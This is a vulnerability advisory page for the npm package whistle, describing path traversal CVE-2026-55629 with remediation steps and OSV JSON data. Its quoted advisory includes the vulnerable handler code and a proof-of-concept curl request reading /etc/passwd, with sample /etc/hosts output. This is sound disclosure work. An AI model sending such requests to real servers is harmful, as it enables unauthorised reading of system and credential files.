Vulnerabilities in pkg:npm/whistle

PACKAGE
Advisory Identifier: GHSA-3vfr-4gwf-qxfp
Advisory Summary

CVE-2026-55629 is a HIGH path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Whistle libraries in the npm ecosystem. The issue involves whistle vulnerable to path traversal. Remediation is available by upgrading affected packages to version 2.10.3.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/whistle

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/whistle. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-3vfr-4gwf-qxfp CVE-2026-55629 HIGH Whistle vulnerable to path traversal
GHSA-gg6x-448q-pqqm CVE-2024-55500 HIGH Avenwu Whistle Cross-Site Request Forgery (CSRF)

CVE-2026-55629 at a Glance

CVE Identifier CVE-2026-55629
GHSA Identifier GHSA-3vfr-4gwf-qxfp
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Whistle
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-55629

To remediate this vulnerability, upgrade all affected Whistle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

whistle fixed: 2.10.3
npm install whistle@2.10.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls whistle

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55629, inspect your project dependencies using npm:

npm ls whistle

Analyze the terminal output to locate any version of Whistle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.10.3), your application is affected.

Note: The npm ls whistle command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Whistle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University. **Vulnerability detail**: In service.js, inside `app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);` Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH. If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading. In other words: if you pass passwd, it will read passwd. **POC**: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd" **response**: ``` sh xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts" {"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}% ```

CVE-2026-55629 Affected Whistle Versions

1 component(s)
Fixed Versions:
2.10.3
Product / Package Ecosystem Affected Versions Fixed Version
whistle
npm
< 2.10.3
2.10.3

References

Frequently Asked Questions

What is CVE-2026-55629?
CVE-2026-55629 is a security vulnerability in Whistle involving Whistle vulnerable to path traversal under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Whistle versions are affected?
Affected versions include releases prior to 2.10.3 across affected packages: whistle.
What version fixes CVE-2026-55629?
Upgrading to 2.10.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is whistle affected?
Yes, whistle is affected in releases prior to 2.10.3. Upgrade your dependency to 2.10.3 or later.
What CWE is associated with CVE-2026-55629?
CVE-2026-55629 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-55629?
Run the dependency tree command: 'npm ls whistle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3vfr-4gwf-qxfp",
  "modified" : "2026-08-25T18:32:07Z",
  "published" : "2026-08-25T18:32:06Z",
  "aliases" : [ "CVE-2026-55629" ],
  "summary" : "Whistle vulnerable to path traversal",
  "details" : "This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1  proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "whistle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55629"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/avwo/whistle"
  }, {
    "type" : "WEB",
    "url" : "http://github.com/avwo/whistle/releases/tag/v2.10.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:32:06Z",
    "nvd_published_at" : "2026-07-16T20:16:45Z"
  }
}